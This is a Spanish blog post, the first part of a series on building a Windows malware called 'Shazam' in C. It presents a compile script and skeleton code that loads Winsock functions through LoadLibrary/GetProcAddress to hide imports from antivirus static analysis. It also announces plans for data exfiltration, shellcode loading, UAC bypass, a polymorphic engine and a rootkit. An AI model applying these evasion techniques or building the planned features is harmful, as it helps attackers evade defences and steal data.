synawk

Shazam: Malware Dev 0x1

Esta es una guía de desarrollo desde 0 de un malware básico en C; el cual tiene como nombre Shazam :D. Esta de más decir que es solo con fines educativos, y no me hago responsable del mal uso que puedan darle.

Hace unas semanas estuve enseñando sobre desarrollo de rootkits; y pensé que no existe una guía en español sobre el desarrollo de un malware usando C; pero empezando con lo básico hasta llegar a construir un malware avanzado. Así que decidí hacer una guía de varias partes, empezando con esta. Explicaré conceptos básicos y teóricos necesarios para avanzar en el desarrollo de malware; quizá omita mucha información o simplemente deje referencias sobre algunos tópicos que ya tocaría que investigues por tu cuenta.

Para seguir esta guía es necesario que tengas ciertos conocimientos básicos en un lenguaje de programación como C, C++ o delphi ; además de saber como funciona el CPU (registros, instrucciones, bytes, etc). Es necesario conocer sobre la arquitectura del computador, por lo menos conocimiento básico en internals.

La guía estará enfocada en el desarrollo de código y no tanto en la arquitectura interna de Windows o su funcionamiento; si habrá partes donde detallaré esto o haré alguna publicación a parte de esta para detallar aún más. Por otro lado en estos primeros desarrollos no me enfocaré mucho en el bypass porque iré por pasos; primero haciendo un código funcional y luego explicar que cambios son necesarios para llegar a FUD.

Ideas previas

El desarrollo de malware es realmente un arte; hace falta mucha creatividad acompañado de conocimiento técnico para hacer cosas impresionantes. No soy un “experto” en el desarrollo de malware pero quizá puedo contribuir bastante con tu línea de aprendizaje. Antes de empezar hay ciertas cosas que quiero que tengas en mente.

  1. Un cibercriminal cuando desarrolla un malware utiliza diferentes técnicas que no necesariamente son las mejores; ya que no existe un “manual de buenas prácticas” para el desarrollo de malwares; es simplemente construir con la información que tienes disponible algo funcional. Así que si en el transcurso encuentras una mejor forma a un problema y te funciona, úsala.
  2. Aprende desde lo básico. En internet hay demasiada información de como se desarrolla un malware; claro todos con propósitos educativos. Enfócate en entender las bases de todo; no vayas directamente a usar tools o aplicaciones que hacen el trabajo por ti. Quizá tengas resultados pero no habrás aprendido nada; así que dedícate a leer mucho.
  3. Porque usar C/C++ en el desarrollo de malware. Básicamente porque te permite mayor flexibilidad e interacción con el sistema operativo; a diferencia de lenguajes de alto nivel. Además de que la compilación de C a ASM por ejemplo es incluso comparable a nivel de código. Puedes usar también lenguajes como C# o Go; pero eso ya queda a tu criterio.

Entorno de desarrollo

Conocer un lenguaje de programación de bajo nivel, conocer algo de asm y saber por lo menos como funciona la memoria son requisitos básicos. El IDE que uses es de tu preferencia (visual studio [code], sublime, etc) yo usaré sublime text y para compilarlo cl.exe. Para esto último he creado un script que me va a permitir compilar mi proyecto sin usar visual studio, y hacerlo directamente ejecutando un .bat el cuál pondré de nombre install.bat

@echo off
set CC=CL.exe
set CLINK=link.exe

set ENTRY_FILE=shazam.c
set DEPS=*.c
set RELEASE_NAME=shazam
set SUBSYSTEM=windows
set COMMON_LIB=ws2_32.lib 
set MACHINE=X64
set PROGRAM_FILES=%programfiles(x86)%

Rem clean all
echo [-] Clean data
DEL /F/Q/S "Release" > shazam.log


Rem ;;highestAvailable <- si solicita admin
set LEVEL=asInvoker

mkdir Release 2> NUL
echo [*] Folder Release created.

echo [*] Set Variables
set VISUAL_STUDIO=%PROGRAM_FILES%\Microsoft Visual Studio

if exist "%VISUAL_STUDIO%" (
    echo [*] Found Visual Studio!! 
    echo [*] VSPath : "%VISUAL_STUDIO%"
) else (
    echo [*] Not Found Visual Studio!! 
    set /p VISUAL_STUDIO="[>] Enter Microsoft Visual Studio Path: "
)
echo [!] Building... > shazam.log

set ENV=RELEASE

@call "%VISUAL_STUDIO%\2019\Community\VC\Auxiliary\Build\vcvarsall.bat" %MACHINE% %*

echo [*] Compiling

%CC% /c /Zi /nologo /W3 /WX- /diagnostics:column /sdl /O2 /Oi /Oy- /D WIN32 /D %ENV% ^
	/D _CONSOLE /DDEBUG=1 /DAPPNAME=\"wps\" /DRELEASE_NAME=\"%RELEASE_NAME%\" /D _MBCS /D _MBCS /Gm- /EHsc /MT /GS /Gy /fp:precise /permissive- ^
    /Zc:wchar_t /Zc:forScope /Zc:inline /Fo"Release\\" /Fd"Release\%RELEASE_NAME%.pdb" /Gd /TC /analyze- ^
    /FC /errorReport:prompt /D _CRT_SECURE_NO_DEPRECATE   %ENTRY_FILE%  /D _WINSOCK_DEPRECATED_NO_WARNINGS

if exist "Release\%RELEASE_NAME%.obj" (
    echo [*] Compilation success!!
) else (
    echo [*] Compilation Failed!!
    Exit /B 5
)

echo [-] Linking

%CLINK% /ERRORREPORT:PROMPT /OUT:"Release\%RELEASE_NAME%.exe"  /subsystem:%SUBSYSTEM% /INCREMENTAL:NO /NOLOGO ^
    kernel32.lib user32.lib gdi32.lib %COMMON_LIB% winspool.lib comdlg32.lib advapi32.lib shell32.lib ^
    ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST /MANIFESTUAC:"level='%LEVEL%' uiAccess='false'" ^
    /manifest:embed /DEBUG:NONE   /PDB:"Release\%RELEASE_NAME%.pdb"  ^
    /DYNAMICBASE:NO /NXCOMPAT:NO /IMPLIB:"Release\%RELEASE_NAME%.lib" /MACHINE:%MACHINE% ^
     Release\*.obj

echo [-] Checking...
if exist "Release\%RELEASE_NAME%.exe" (
    echo [*] Success!!
    echo [*] Success!! time >> shazam.log
) else (
    echo [!] Failed!!
    echo [!] Failed!! > shazam.log
)

Las rutas que corresponden a las variables PROGRAM_FILES y en @call deben ser modificadas basado en el la versión de Windows y VSTUDIO que tengas. Adicionalmente si la ruta de instalación de VSTUDIO es diferente a la que está por defecto debes cambiar la variable VISUAL_STUDIO.

Antes tengo que aclarar que puedes usar mingw como cross compiler; es decir compilar en GNU/Linux usando x86_64-w64-mingw32-gcc y ya luego ejecutar en windows. Pero hacer esto corre el riesgo que sea marcado como falso positivo; algunos EDR/AVs al notar que se han compilado con esto suelen marcarlo como sospechoso.

Explicando algunas partes del script; la siguiente línea es la que compila mi proyecto; el resultado lo envio a Release\ ademas defino 3 constantes DEBUG como true, APPNAME que será el nombre del ejecutable a copiarse en el host y RELEASE_NAME que es el nombre con el que el malware se compilará. Para este script solo deberás cambiar las ruta de Visual Studio.

Pd: Si te quieres evitar todo esto puedes compilarlo desde visual studio; es igual, solo que no me gusta trabajar ahí.

%CC% /c /Zi /nologo /W3 /WX- /diagnostics:column /sdl /O2 /Oi /Oy- /D WIN32 /D %ENV% ^
	/D _CONSOLE /DDEBUG=1 /DAPPNAME=\"wps\" /DRELEASE_NAME=\"%RELEASE_NAME%\" /D _MBCS /D _MBCS /Gm- /EHsc /MT /GS /Gy /fp:precise /permissive- ^
    /Zc:wchar_t /Zc:forScope /Zc:inline /Fo"Release\\" /Fd"Release\%RELEASE_NAME%.pdb" /Gd /TC /analyze- ^
    /FC /errorReport:prompt /D _CRT_SECURE_NO_DEPRECATE   %ENTRY_FILE% 

Lo siguiente es linkear con los objetos y librerías. La variable SUBSYSTEM la voy definir como windows ya que usaré WinMain y sea más fácil al inicio ocultar la ventana de consola, ya que lo considera como una aplicación de gui.

%CLINK% /ERRORREPORT:PROMPT /OUT:"Release\%RELEASE_NAME%.exe"  /subsystem:%SUBSYSTEM% /INCREMENTAL:NO /NOLOGO ^
    kernel32.lib user32.lib gdi32.lib %COMMON_LIB% winspool.lib comdlg32.lib advapi32.lib shell32.lib ^
    ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST /MANIFESTUAC:"level='%LEVEL%' uiAccess='false'" ^
    /manifest:embed /DEBUG:NONE   /PDB:"Release\%RELEASE_NAME%.pdb"  ^
    /DYNAMICBASE:NO /NXCOMPAT:NO /IMPLIB:"Release\%RELEASE_NAME%.lib" /MACHINE:X86 ^
     Release\*.obj

Primeros pasos

Antes de empezar deberás preparar una máquina virtual donde puedas probar el malware; lo puedes hacer directamente en tu host (si usas Windows) de momento, siempre y cuando sepas lo que estas ejecutando.

Voy a crear 2 archivos más shazam.c y shazam.h; por el momento este último no tendrá nada, shazam.c por otro lado debe tener algo como esto:

#include<windows.h>
#include "shazam.h"

//https://docs.microsoft.com/en-us/windows/win32/learnwin32/winmain--the-application-entry-point
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, char *nCmdLine, int nShowCmd) {

  return 0;
}

Luego de compilarlo ejecutando install.bat obtenemos algo similar a esto:

install shazam malware

Y si revisamos la carpeta Release\ tenemos algo como esto:

release shazam malware

Ahora si se puede comenzar a desarrollar el malware. Lo primero será en definir que podrá hacer y que no; para este alcance he decidido que solo tendrá estas funciones.

  1. Exfiltración de datos. (comprimir y enviar via http)
  2. Ejecutar remotamente DLL/shellcodes (reflective dll)
  3. Intentar diferentes bypass UAC
  4. Motor Polimórfico, cada vez que se replique su ofuscación será diferente.
  5. rookit user-mode
  6. Sesión remota (esto quizá no lo haga puesto que ya hay mucha info de esto y la verdad no me dan muchas ganas de hacerlo :D)
  7. Y por ahí algunos módulos más si me animo.

Entonces con esta información yo sé que voy a utilizar sockets para realizar la conexión http; librería que ya estoy cargando en install.bat pero solo para usar las estructuras. Para explicar esto lo hare generalizando un poco. Las librerías al ser cargadas (dll) entre tantas cosas tienen estructuras definidas y/o funciones que el desarrollador puede invocar. Por ejemplo ahora que sabemos que se debe programar sockets voy a tener que importar ws2_32.dll y además invocar funciones algo como esto:

#include "winsock2.h"

..
..
WORD version = (WORD)2.2;
WSAStartup(version, &wsa);
s = WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0); 
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr.s_addr = inet_addr(IP);
connect(s, (struct sockaddr *)&server, sizeof(server)); 

...
...

Luego el código lo compilo y reviso los imports que tiene y se puede ver todas las funciones que estoy usando en mi código; es decir las que he invocado desde ws2_32.dll. Esto para un EDR/AV puede que le resulte sospechoso; no la función por si sola pero si en un análisis heurístico podría darse que sea marcado como sospechoso.

imports ws2_32.dll shazam malware

Esto quizá parezca poco relevante pero lo que se quiere es “desaparecer” las funciones que estoy utilizando para evadir el primer filtro que es el análisis estático. Para lograr esto necesito cargar la DLL y posteriormente traer las funciones que necesito; además necesito definir las estructuras que tienen. Estos typedef los voy a colocar en el archivo shazam.h y ahí mismo voy a agregar una estructura que me servirá para definir valores globales del malware.

typedef struct SESSION_CONTEXT
{
    DWORD pid; // el pid del pefile
    char filename[MAX_PATH]; //el nombre del archivo
    char workDir[MAX_PATH]; //el directorio actual

} SESSION_CONTEXT;

SESSION_CONTEXT *session;

Además he implementado una función que solo se crea cuando tengo habilitado el DEBUG, y sirve para poder hacer logs.

#ifdef DEBUG
void fdebug(const char *szFormat, ...)
{
    if (!szFormat)
        return;
    va_list va_alist;
    char formatbuf[8192];
    va_start(va_alist, szFormat);
    vsnprintf(formatbuf, sizeof(formatbuf), szFormat, va_alist);
    va_end(va_alist);
    FILE *fp = fopen("shazam.log", "a"); // aca le puedes dar cualquier ruta.
    if (!fp)
        return;
    fprintf(fp, "[LOG] - %s\n", formatbuf);
    fclose(fp);
}
#endif // DEBUG

Ahora a lo importante; como obtengo estos typedefs; pues la respuesta esta en la documentación oficial de windows

https://docs.microsoft.com/en-us/windows/win32/api/_winsock/

Al final el archivo shazam.h debería estar algo asi:

#include <windows.h>

typedef struct SESSION_CONTEXT
{

    DWORD pid;
    char filename[MAX_PATH];
    char workDir[MAX_PATH];

} SESSION_CONTEXT;

SESSION_CONTEXT *session;

typedef DWORD (WINAPI *_WSAStartup)(
  WORD      wVersionRequired,
  LPWSADATA lpWSAData
);

typedef SOCKET (WINAPI *_WSASocketA)(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

typedef DWORD (WINAPI *_send)(
  SOCKET     s,
  const char *buf,
  int        len,
  int        flags
);
typedef DWORD (WINAPI *_recv)(
  SOCKET     s,
  const char *buf,
  int        len,
  int        flags
);

typedef u_short (WINAPI *_htons)(
  u_short port
);

typedef struct pSocket {
    SOCKET s;
    _send send;
    _recv recv;
} PSOCKET;

typedef unsigned long (WINAPI *_inet_addr)(
  const char *cp
);
typedef DWORD (WINAPI *_closesocket)(
  SOCKET s
);
typedef DWORD (WINAPI *_connect)(
  SOCKET         s,
  struct sockaddr *name,
  int            namelen
);
typedef DWORD (WINAPI *_WSACleanup)();

Como se puede ver, solamente he tomado las definiciones de cada función. Por otro lado el archivo shazam.c debería ser algo como esto:

/*
* shazam v0.1
* by synawk
* -- malware desarrollado con fines educativos
*/
#include<stdio.h>
#include <winsock2.h>
#include "shazam.h"


#define IP "192.168.10.50"
#define PORT 8080

WSADATA wsa;
SOCKET s;
struct sockaddr_in server;


    //defino una función para poder hacer logs
#ifdef DEBUG
void fdebug(const char *szFormat, ...)
{
    if (!szFormat)
        return;
    va_list va_alist;
    char formatbuf[8192];
    va_start(va_alist, szFormat);
    vsnprintf(formatbuf, sizeof(formatbuf), szFormat, va_alist);
    va_end(va_alist);
    FILE *fp = fopen("shazam.log", "a");
    if (!fp)
        return;
    fprintf(fp, "[LOG] - %s\n", formatbuf);
    fclose(fp);
}
#endif // DEBUG

    //entrypoint
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, char *nCmdLine, int nShowCmd) {

    //dll name
    char ws2_text[11] = {'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', '\0'}; 

    //here all the modules
    HMODULE ws2 = LoadLibrary(ws2_text); 
    _WSAStartup pWSAStartup = (_WSAStartup)GetProcAddress(ws2, "WSAStartup");
    _WSASocketA pWSASocketA = (_WSASocketA)GetProcAddress(ws2, "WSASocketA");
    _htons pHtons = (_htons)GetProcAddress(ws2, "htons");
    _inet_addr pInet_addr = (_inet_addr)GetProcAddress(ws2, "inet_addr");
    _closesocket pClosesocket = (_closesocket)GetProcAddress(ws2, "closesocket");
    _connect pConnect = (_connect)GetProcAddress(ws2, "connect");
    _WSACleanup pWSACleanup = (_WSACleanup)GetProcAddress(ws2, "WSACleanup");
    _send send = (_send)GetProcAddress(ws2, "send");
    _recv recv = (_recv)GetProcAddress(ws2, "recv");


    #ifdef DEBUG
        fdebug("[*] Modules loaded...");
        fdebug("\n\n[SHAZAM][*] shazam started");
        fdebug("[*]GetCurrentProcessId [%d]", session->pid);
    #endif	

    session = (SESSION_CONTEXT *)malloc(sizeof(SESSION_CONTEXT));
    session->pid = GetCurrentProcessId();


    printf("Hola");
    return 0;
}

Hasta el momento no hay nada “nuevo”, si ya tienes experiencia en esto, verás que el código aún está “limpio” y que en realidad aún no hace nada. Si ejecutas esto verás que se genera un archivo shazam.log; con un contenido similar a este:

shazam log

Si todo te ha funcionado hasta aquí, vas por buen camino. Para ordenar un poco mejor la estructura del proyecto, voy a separar las funcionales en archivos diferentes; sabiendo ya lo que hará cada uno. Esto es opcional, como ya dije no hay “buenas prácticas”; sin embargo servirá mucho para no tener todo el código en un solo archivo.

Hasta aquí voy a dejar esta primera parte del malware; aún no hacer nada en realidad solo quería dejar el entorno listo para comenzar a desarrollarlo. Ya en la siguiente publicación iré con la conexión http y el envío y recepción de datos.